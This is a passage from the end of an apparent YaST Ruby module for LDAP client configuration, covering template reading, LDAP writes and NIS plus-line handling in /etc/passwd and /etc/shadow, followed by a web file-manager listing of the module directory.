    # to map (in the form $[ "a1":"v1", "a2":"v2"]
    # @param [Hash] templ original template map
    # @return updated template map
    def ConvertDefaultValues(templ)
      templ = deep_copy(templ)
      template = Builtins.add(templ, "default_values", {})
      Builtins.foreach(Ops.get_list(templ, "suseDefaultValue", [])) do |value|
        lvalue = Builtins.splitstring(value, "=")
        at = Ops.get(lvalue, 0, "")
        v = Ops.greater_than(Builtins.size(lvalue), 1) ?
          # '=' could be part of value, so we cannot use lvalue[1]
          Builtins.substring(value, Ops.add(Builtins.search(value, "="), 1)) :
          ""
        Ops.set(template, ["default_values", at], v)
      end
      deep_copy(template)
    end

    # Read object templates from LDAP server
    # @return [String] error message
    def ReadTemplates
      @templates = {}
      all = Convert.to_map(
        SCR.Read(
          path(".ldap.search"),
          {
            "base_dn"      => @base_config_dn,
            "filter"       => "objectClass=suseObjectTemplate",
            "attrs"        => [],
            "scope"        => 2, # sub: all templates under config DN
            "map"          => true,
            "not_found_ok" => true
          }
        )
      )
      return LDAPError() if all == nil
      # create a helper map of default values inside ...
      @templates = Builtins.mapmap(
        Convert.convert(
          all,
          :from => "map",
          :to   => "map <string, map <string, any>>"
        )
      ) do |dn, templ|
        template = ConvertDefaultValues(templ)
        template = AddMissingAttributes(template)
        { dn => template }
      end
      ""
    end

    # Read configuration moduels from LDAP server
    # @return [String] error message
    def ReadConfigModules
      @config_modules = {}
      modules = Convert.to_map(
        SCR.Read(
          path(".ldap.search"),
          {
            "base_dn"      => @base_config_dn,
            "filter"       => "objectClass=suseModuleConfiguration",
            "attrs"        => [],
            "scope"        => 1, # one - deeper searches would have problems with
            # constructing the dn
            "map"          => true,
            "not_found_ok" => true
          }
        )
      )
      return LDAPError() if modules == nil
      @config_modules = Builtins.mapmap(
        Convert.convert(
          modules,
          :from => "map",
          :to   => "map <string, map <string, any>>"
        )
      ) { |dn, mod| { dn => AddMissingAttributes(mod) } }
      ""
    end

    # Search for one entry (=base scope) in LDAP directory
    # @param [String] dn DN of entry
    # @return [Hash] with entry values, empty map if nothing found, nil on error
    def GetLDAPEntry(dn)
      if !@ldap_initialized
        msg = LDAPInit()
        if msg != ""
          LDAPErrorMessage("init", msg)
          return nil
        end
      end
      if !@schema_initialized
        msg = InitSchema()
        if msg != ""
          LDAPErrorMessage("schema", msg)
          return nil
        end
      end
      if @bind_pass == nil && !@anonymous
        @bind_pass = LDAPAskAndBind(true)
        return nil if @bind_pass == nil
      end
      objects = Convert.to_list(
        SCR.Read(
          path(".ldap.search"),
          {
            "base_dn"      => dn,
            "attrs"        => [],
            "scope"        => 0, # only this one
            "not_found_ok" => true
          }
        )
      )
      if objects == nil
        LDAPErrorMessage("read", LDAPError())
        return nil
      end
      Ops.get_map(objects, 0, {})
    end

    # Check for existence of parent object of given DN in LDAP tree
    # return the answer
    def ParentExists(dn)
      return false if !Builtins.issubstring(dn, ",")

      parent = Builtins.substring(dn, Ops.add(Builtins.search(dn, ","), 1))
      object = GetLDAPEntry(parent)
      return false if object == nil
      if object == {}
        if !@use_gui
          Builtins.y2error(
            "A direct parent for DN %1 does not exist in the LDAP directory. The object with the selected DN cannot be created.",
            dn
          )
          return false
        end
        # error message, %1 is DN
        Popup.Error(
          Builtins.sformat(
            _(
              "A direct parent for DN '%1' \n" +
                "does not exist in the LDAP directory.\n" +
                "The object with the selected DN cannot be created.\n"
            ),
            dn
          )
        )
        return false
      end
      true
    end

    # Return main configuration object DN
    def GetMainConfigDN
      @base_config_dn
    end

    # Return the map of configuration modules (new copy)
    # (in the form $[ DN: $[ map_of_one_module] ])
    def GetConfigModules
      Builtins.eval(@config_modules)
    end

    # Return the map of templates (new copy)
    def GetTemplates
      Builtins.eval(@templates)
    end

    # Return list of default object classes for user or group
    # There is fixed list here, it is not saved anywhere (only in default
    # users plugin for LDAP objects)
    # @param [Hash] template used for differ if we need user or group list
    def GetDefaultObjectClasses(template)
      template = deep_copy(template)
      ocs = Builtins.maplist(Ops.get_list(template, "objectClass", [])) do |c|
        Builtins.tolower(c)
      end

      if Builtins.contains(ocs, "susegrouptemplate")
        return ["top", "posixGroup", "groupOfNames"] 
        # TODO sometimes there is groupofuniquenames...
      elsif Builtins.contains(ocs, "suseusertemplate")
        return ["top", "posixAccount", "shadowAccount", "InetOrgPerson"]
      end
      []
    end

    # Searches for DN's of all objects defined by filter in given base ("sub")
    # @param [String] base search base
    # @param [String] search_filter if filter is empty, "objectClass=*" is used
    # @return [Array] of DN's (list of strings)
    def ReadDN(base, search_filter)
      all = Convert.convert(
        SCR.Read(
          path(".ldap.search"),
          {
            "base_dn"   => base,
            "filter"    => search_filter,
            "attrs"     => ["cn"], # not necessary, just not read all values
            "attrsOnly" => true,
            "scope"     => 2,
            "dn_only"   => true
          }
        ),
        :from => "any",
        :to   => "list <string>"
      )
      if all == nil
        LDAPErrorMessage("read", LDAPError())
        return []
      end
      deep_copy(all)
    end

    # Returns DN's of groups (objectClass=posixGroup) in given base
    # @param [String] base LDAP search base
    # @return groups (list of strings)
    def GetGroupsDN(base)
      @groups_dn = ReadDN(base, "objectClass=posixGroup") if @groups_dn == []
      deep_copy(@groups_dn)
    end

    # Check if given DN exist and if it points to some template
    # @param [String] dn
    # @return [Hash,nil] empty map if DN don't exist, template map if DN points
    #  to template object, nil if object with given DN is not template
    def CheckTemplateDN(dn)
      object = GetLDAPEntry(dn)
      return object if object.nil? || object == {}
      cls = Builtins.maplist(Ops.get_list(object, "objectClass", [])) do |c|
        Builtins.tolower(c)
      end
      if Builtins.contains(cls, "suseobjecttemplate")
        # exists as a template -> return object
        object = ConvertDefaultValues(object)
        Ops.set(object, "modified", "edited")
        return AddMissingAttributes(object)
      else
        # error message
        Popup.Error(
          _(
            "An object with the selected DN exists, but it is not a template object.\nSelect another one.\n"
          )
        )
        return nil
      end
    end

    # Save the edited map of configuration modules to global map
    def CommitConfigModules(modules)
      modules = deep_copy(modules)
      Builtins.foreach(
        Convert.convert(modules, :from => "map", :to => "map <string, map>")
      ) do |dn, modmap|
        if !Builtins.haskey(@config_modules, dn)
          Ops.set(@config_modules, dn, Builtins.eval(modmap))
          @ldap_modified = true
          next
        end
        # 'val' can be list (most time), map (default_values), string
        Builtins.foreach(
          Convert.convert(modmap, :from => "map", :to => "map <string, any>")
        ) do |attr, val|
          if Ops.get(@config_modules, [dn, attr]) != val
            Ops.set(@config_modules, [dn, attr], val)
            if !Builtins.haskey(modmap, "modified")
              Ops.set(@config_modules, [dn, "modified"], "edited")
            end
            @ldap_modified = true
            Builtins.y2debug("modified value: %1", val)
          end
        end
      end
      true
    end

    # Save the edited map of templates to global map
    def CommitTemplates(templs)
      templs = deep_copy(templs)
      Builtins.foreach(
        Convert.convert(templs, :from => "map", :to => "map <string, map>")
      ) do |dn, template|
        if !Builtins.haskey(@templates, dn)
          # dn changed
          Ops.set(@templates, dn, Builtins.eval(template))
          @ldap_modified = true
          next
        end
        # 'val' can be list (most time), map (default_values), string
        Builtins.foreach(
          Convert.convert(template, :from => "map", :to => "map <string, any>")
        ) do |attr, val|
          if Ops.get(@templates, [dn, attr]) != val
            Ops.set(@templates, [dn, attr], val)
            if !Builtins.haskey(template, "modified")
              Ops.set(@templates, [dn, "modified"], "edited")
            end
            @ldap_modified = true
            Builtins.y2debug("modified value: %1", val)
          end
        end
      end
      true
    end

    # Writes map of objects to LDAP
    # @param [Hash] objects map of objects to write. It is in the form:
    # $[ DN: (map) attribute_values]
    # @example TODO
    # @return error map (empty on success)
    def WriteToLDAP(objects)
      objects = deep_copy(objects)
      ret = {}
      Builtins.foreach(
        Convert.convert(objects, :from => "map", :to => "map <string, map>")
      ) do |dn, object|
        next if ret != {}
        action = Ops.get_string(object, "modified", "")
        if action != ""
          object = Builtins.remove(object, "modified")
        else
          next
        end
        # convert the default values back to the LDAP format
        if Builtins.haskey(object, "default_values")
          Ops.set(
            object,
            "suseDefaultValue",
            Builtins.maplist(Ops.get_map(object, "default_values", {})) do |key, val|
              Builtins.sformat("%1=%2", key, val)
            end
          )
          object = Builtins.remove(object, "default_values")
        end
        if action == "added"
          if !SCR.Write(path(".ldap.add"), { "dn" => dn }, object)
            ret = LDAPErrorMap()
          end
        end
        if action == "edited"
          if !SCR.Write(
              path(".ldap.modify"),
              { "dn" => dn, "check_attrs" => true },
              object
            )
            ret = LDAPErrorMap()
          end
        end
        if action == "renamed"
          arg_map = {
            "dn"          => Ops.get_string(object, "old_dn", dn),
            "check_attrs" => true
          }
          if Builtins.tolower(dn) !=
              Builtins.tolower(Ops.get_string(object, "old_dn", dn))
            Ops.set(arg_map, "new_dn", dn)
            Ops.set(arg_map, "deleteOldRDN", true)
            Ops.set(arg_map, "subtree", true)
          end
          if Builtins.haskey(object, "old_dn")
            object = Builtins.remove(object, "old_dn")
          end
          if !SCR.Write(path(".ldap.modify"), arg_map, object)
            ret = LDAPErrorMap()
          end
        end
        if action == "deleted"
          if Ops.get_string(object, "old_dn", dn) != dn
            dn = Ops.get_string(object, "old_dn", dn)
          end
          if !SCR.Write(path(".ldap.delete"), { "dn" => dn })
            ret = LDAPErrorMap()
          end
        end
      end
      deep_copy(ret)
    end

    # Writes map of objects to LDAP. Ask for password, when needed and
    # shows the error message when necessary.
    # @return success
    def WriteLDAP(objects)
      objects = deep_copy(objects)
      error = {}
      @bind_pass = LDAPAskAndBind(false) if @anonymous || @bind_pass == nil
      # nil means "canceled"
      if @bind_pass != nil
        error = WriteToLDAP(objects)
        if error != {}
          msg = Ops.get_string(error, "msg", "")
          if Ops.get_string(error, "server_msg", "") != ""
            msg = Ops.add(
              Ops.add(msg, "\n"),
              Ops.get_string(error, "server_msg", "")
            )
          end
          LDAPErrorMessage("write", msg)
        end
      end
      error == {} && @bind_pass != nil
    end

    # If a file does not + entry, add it.
    # @param   is login allowed?
    # @return  success?
    def WritePlusLine(login)
      file = "/etc/passwd"
      what = "+::::::"
      what = "+::::::/sbin/nologin" if !login

      if !@passwd_read
        if !Convert.to_boolean(
            SCR.Execute(path(".passwd.init"), { "base_directory" => "/etc" })
          )
          Builtins.y2error("error: %1", SCR.Read(path(".passwd.error")))
          return false
        else
          @passwd_read = true
          @plus_lines_passwd = Convert.convert(
            SCR.Read(path(".passwd.passwd.pluslines")),
            :from => "any",
            :to   => "list <string>"
          )
        end
      end

      plus_lines = deep_copy(@plus_lines_passwd)

      if !Builtins.contains(plus_lines, what)
        plus_lines = Builtins.maplist(plus_lines) do |plus_line|
          next what if !login && plus_line == "+::::::"
          if login && Builtins.issubstring(plus_line, ":/sbin/nologin")
            next what
          end
          plus_line
        end
        if !Builtins.contains(plus_lines, what)
          plus_lines = Builtins.add(plus_lines, what)
        end

        if SCR.Write(path(".passwd.passwd.pluslines"), plus_lines)
          SCR.Execute(
            path(".target.bash"),
            Builtins.sformat("/bin/cp %1 %1.YaST2save", file)
          )
          # empty map as a parameter means "use data you have read"
          if !SCR.Write(path(".passwd.users"), {})
            Report.Error(Message.ErrorWritingFile(file))
            return false
          end
        end
      end

      file = "/etc/shadow"
      what = "+"
      plus_lines = Convert.convert(
        SCR.Read(path(".passwd.shadow.pluslines")),
        :from => "any",
        :to   => "list <string>"
      )

      if !Builtins.contains(plus_lines, what) &&
          !Builtins.contains(plus_lines, "+::::::::")
        plus_lines = Builtins.add(plus_lines, what)

        if SCR.Write(path(".passwd.shadow.pluslines"), plus_lines)
          SCR.Execute(
            path(".target.bash"),
            Builtins.sformat("/bin/cp %1 %1.YaST2save", file)
          )
          # empty map as a parameter means "use data you have read"
          if !SCR.Write(path(".passwd.shadow"), {})
            Report.Error(Message.ErrorWritingFile(file))
            return false
          end
        end
      end

      nil
    end

    # Check the server if it is NDS (novell directory service)
    def CheckNDS
      if !@ldap_initialized
        msg = LDAPInit()
        if msg != ""
          # no popup: see bug #132909
          return false
        end
      end

      vendor = Convert.to_list(
        SCR.Read(
          path(".ldap.search"),
          {
            "base_dn" => "",
            "scope"   => 0,
            "attrs"   => ["vendorVersion", "vendorName"]
          }
        )
      )

      Builtins.y2debug("vendor: %1", vendor)
      output = Ops.get_map(vendor, 0, {})
      Builtins.foreach(output) do |attr, value|
        if Builtins.issubstring(Ops.get_string(value, 0, ""), "Novell")
          Builtins.y2debug("value: %1", Ops.get_string(value, 0, ""))
          @nds = true
        end
      end

      @nds_checked = true
      @nds
    end


    # Check if base config DN belongs to some existing object and offer
    # creating it if necessary
    def CheckBaseConfig(dn)
      object = GetLDAPEntry(dn)
      return false if object == nil
      if object == {}
        # yes/no popup, %1 is value of DN
        if !@use_gui ||
            Popup.YesNo(
              Builtins.sformat(
                _(
                  "No entry with DN '%1'\nexists on the LDAP server. Create it now?\n"
                ),
                dn
              )
            )
          return false if !ParentExists(dn)
          config_object = {
            "objectClass" => ["top", "organizationalUnit"],
            "modified"    => "added",
            "ou"          => get_cn(dn)
          }
          if @nds
            Ops.set(
              config_object,
              "acl",
              [
                "3#subtree#[Public]#[All Attributes Rights]",
                "1#subtree#[Public]#[Entry Rights]"
              ]
            )
          end
          return WriteLDAP({ dn => config_object })
        end
        return false
      end
      true
    end

    # Set the value of bind_pass variable
    # @param [String] pass new password valure
    def SetBindPassword(pass)
      @bind_pass = pass

      nil
    end

    # Set the value of 'anonymous' variable (= bind without password)
    # @param [Boolean] anon new value
    def SetAnonymous(anon)
      @anonymous = anon

      nil
    end

    # Set the value of 'use_gui' variable (= show error popups)
    # @param [Boolean] gui new value
    def SetGUI(gui)
      @use_gui = gui

      nil
    end

    # Get RDN (relative distinguished name) from dn
    def get_rdn(dn)
      dn_list = Builtins.splitstring(dn, ",")
      Ops.get_string(dn_list, 0, dn)
    end

    # Get first value from dn (don't have to be "cn")
    def get_cn(dn)
      rdn = get_rdn(dn)
      Builtins.issubstring(rdn, "=") ?
        Builtins.substring(rdn, Ops.add(Builtins.search(rdn, "="), 1)) :
        rdn
    end

    # Create DN from cn by adding base config DN
    # (Can't work in general cases!)
    def get_dn(cn)
      Builtins.sformat("cn=%1,%2", cn, @base_config_dn)
    end

    # Create new DN from DN by changing leading cn value
    # (Can't work in general cases!)
    def get_new_dn(cn, dn)
      Builtins.tolower(
        Builtins.sformat(
          "cn=%1%2",
          cn,
          Builtins.issubstring(dn, ",") ?
            Builtins.substring(dn, Builtins.search(dn, ",")) :
            ""
        )
      )
    end

    # Get string value of attribute from map.
    # (Generaly, it is supposed to be list or string.)
    def get_string(object, attr)
      object = deep_copy(object)
      if Ops.is_list?(Ops.get(object, attr))
        return Ops.get_string(object, [attr, 0], "")
      end
      Ops.get_string(object, attr, "")
    end

    publish :variable => :use_gui, :type => "boolean"
    publish :variable => :base_config_dn, :type => "string"
    publish :function => :get_rdn, :type => "string (string)", :private => true
    publish :function => :get_cn, :type => "string (string)", :private => true
    publish :function => :get_dn, :type => "string (string)", :private => true
    publish :function => :get_new_dn, :type => "string (string, string)", :private => true
    publish :function => :get_string, :type => "string (map, string)", :private => true
    publish :variable => :required_packages, :type => "list <string>"
    publish :variable => :write_only, :type => "boolean"
    publish :variable => :start, :type => "boolean"
    publish :variable => :nis_available, :type => "boolean"
    publish :variable => :_autofs_allowed, :type => "boolean"
    publish :variable => :_start_autofs, :type => "boolean"
    publish :variable => :login_enabled, :type => "boolean"
    publish :variable => :member_attribute, :type => "string"
    publish :variable => :server, :type => "string"
    publish :variable => :modified, :type => "boolean"
    publish :variable => :openldap_modified, :type => "boolean"
    publish :variable => :base_dn, :type => "string", :private => true
    publish :variable => :base_dn_changed, :type => "boolean", :private => true
    publish :variable => :ldap_tls, :type => "boolean"
    publish :variable => :tls_cacertdir, :type => "string"
    publish :variable => :tls_cacertfile, :type => "string"
    publish :variable => :tls_checkpeer, :type => "string"
    publish :variable => :pam_password, :type => "string"
    publish :variable => :plus_lines_passwd, :type => "list <string>"
    publish :variable => :default_port, :type => "integer"
    publish :variable => :file_server, :type => "boolean"
    publish :variable => :nss_base_passwd, :type => "string"
    publish :variable => :nss_base_shadow, :type => "string"
    publish :variable => :nss_base_group, :type => "string"
    publish :variable => :user_base, :type => "string"
    publish :variable => :group_base, :type => "string"
    publish :variable => :nsswitch, :type => "map", :private => true
    publish :variable => :anonymous, :type => "boolean"
    publish :variable => :bind_pass, :type => "string"
    publish :variable => :bind_dn, :type => "string"
    publish :variable => :current_module_dn, :type => "string"
    publish :variable => :current_template_dn, :type => "string"
    publish :variable => :nds, :type => "boolean"
    publish :variable => :tls_switched_off, :type => "boolean"
    publish :variable => :nds_checked, :type => "boolean", :private => true
    publish :variable => :oes, :type => "boolean", :private => true
    publish :variable => :new_objects, :type => "map"
    publish :variable => :base_template_dn, :type => "string"
    publish :variable => :ldap_modified, :type => "boolean"
    publish :variable => :config_modules, :type => "map"
    publish :variable => :templates, :type => "map"
    publish :variable => :bound, :type => "boolean"
    publish :variable => :groups_dn, :type => "list"
    publish :variable => :object_classes, :type => "map"
    publish :variable => :attr_types, :type => "map"
    publish :variable => :hash_schemas, :type => "list"
    publish :variable => :available_config_modules, :type => "list <string>"
    publish :variable => :initial_defaults, :type => "map"
    publish :variable => :initial_defaults_used, :type => "boolean"
    publish :variable => :schema_initialized, :type => "boolean"
    publish :variable => :ldap_initialized, :type => "boolean"
    publish :variable => :tls_when_initialized, :type => "boolean"
    publish :variable => :read_settings, :type => "boolean"
    publish :variable => :restart_sshd, :type => "boolean"
    publish :variable => :passwd_read, :type => "boolean", :private => true
    publish :variable => :pam_nss_packages, :type => "list <string>"
    publish :variable => :sssd_packages, :type => "list <string>"
    publish :variable => :sssd, :type => "boolean"
    publish :variable => :ldap_error_hints, :type => "map"
    publish :function => :BaseDNChanged, :type => "boolean ()"
    publish :function => :DomainChanged, :type => "boolean ()"
    publish :function => :GetBaseDN, :type => "string ()"
    publish :function => :GetDomain, :type => "string ()"
    publish :function => :SetBaseDN, :type => "void (string)"
    publish :function => :SetDomain, :type => "void (string)"
    publish :function => :SetDefaults, :type => "boolean (map)"
    publish :function => :SetReadSettings, :type => "boolean (boolean)"
    publish :function => :Export, :type => "map ()"
    publish :function => :ReadLdapConfEntry, :type => "string (string, string)", :private => true
    publish :function => :ReadLdapConfEntries, :type => "list <string> (string)", :private => true
    publish :function => :WriteLdapConfEntry, :type => "void (string, string)", :private => true
    publish :function => :WriteLdapConfEntries, :type => "void (string, list <string>)", :private => true
    publish :function => :AddLdapConfEntry, :type => "void (string, string)", :private => true
    publish :function => :CheckOES, :type => "boolean ()"
    publish :function => :uri2servers, :type => "string (string)", :private => true
    publish :function => :ReadLdapHosts, :type => "string ()"
    publish :function => :Read, :type => "boolean ()"
    publish :function => :LDAPErrorMessage, :type => "void (string, string)"
    publish :function => :LDAPErrorMap, :type => "map ()"
    publish :function => :LDAPError, :type => "string ()"
    publish :function => :GetBindDN, :type => "string ()"
    publish :function => :GetFirstServer, :type => "string (string)"
    publish :function => :GetFirstPort, :type => "integer (string)"
    publish :function => :LDAPClose, :type => "boolean ()"
    publish :function => :LDAPInit, :type => "string ()"
    publish :function => :LDAPInitArgs, :type => "map (map)"
    publish :function => :CheckLDAPConnection, :type => "boolean (map)"
    publish :function => :ConnectWithoutTLS, :type => "boolean (map)"
    publish :function => :LDAPInitWithTLSCheck, :type => "string (map)"
    publish :function => :LDAPBind, :type => "string (string)"
    publish :function => :GetLDAPPassword, :type => "string (boolean)"
    publish :function => :LDAPAskAndBind, :type => "string (boolean)"
    publish :function => :SingleValued, :type => "boolean (string)"
    publish :function => :AttributeDescription, :type => "string (string)"
    publish :function => :ObjectClassExists, :type => "boolean (string)"
    publish :function => :ObjectClassStructural, :type => "boolean (string)"
    publish :function => :GetAllAttributes, :type => "list (string)"
    publish :function => :GetRequiredAttributes, :type => "list <string> (string)"
    publish :function => :GetOptionalAttributes, :type => "list <string> (string)"
    publish :function => :GetObjectAttributes, :type => "list (list)"
    publish :function => :AddMissingAttributes, :type => "map (map)"
    publish :function => :InitSchema, :type => "string ()"
    publish :function => :ConvertDefaultValues, :type => "map (map)"
    publish :function => :ReadTemplates, :type => "string ()"
    publish :function => :ReadConfigModules, :type => "string ()"
    publish :function => :GetLDAPEntry, :type => "map (string)"
    publish :function => :ParentExists, :type => "boolean (string)"
    publish :function => :GetMainConfigDN, :type => "string ()"
    publish :function => :GetConfigModules, :type => "map ()"
    publish :function => :GetTemplates, :type => "map ()"
    publish :function => :GetDefaultObjectClasses, :type => "list (map)"
    publish :function => :ReadDN, :type => "list <string> (string, string)"
    publish :function => :GetGroupsDN, :type => "list (string)"
    publish :function => :CheckTemplateDN, :type => "map (string)"
    publish :function => :CommitConfigModules, :type => "boolean (map)"
    publish :function => :CommitTemplates, :type => "boolean (map)"
    publish :function => :WriteToLDAP, :type => "map (map)"
    publish :function => :WriteLDAP, :type => "boolean (map)"
    publish :function => :WritePlusLine, :type => "boolean (boolean)"
    publish :function => :CheckNDS, :type => "boolean ()"
    publish :function => :Write, :type => "symbol (block <boolean>)"
    publish :function => :WriteNow, :type => "boolean ()"
    publish :function => :CheckBaseConfig, :type => "boolean (string)"
    publish :function => :SetBindPassword, :type => "void (string)"
    publish :function => :SetAnonymous, :type => "void (boolean)"
    publish :function => :SetGUI, :type => "void (boolean)"
    publish :function => :get_rdn, :type => "string (string)"
    publish :function => :get_cn, :type => "string (string)"
    publish :function => :get_dn, :type => "string (string)"
    publish :function => :get_new_dn, :type => "string (string)"
    publish :function => :get_string, :type => "string (string)"
  end

  Ldap = LdapClass.new
  Ldap.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
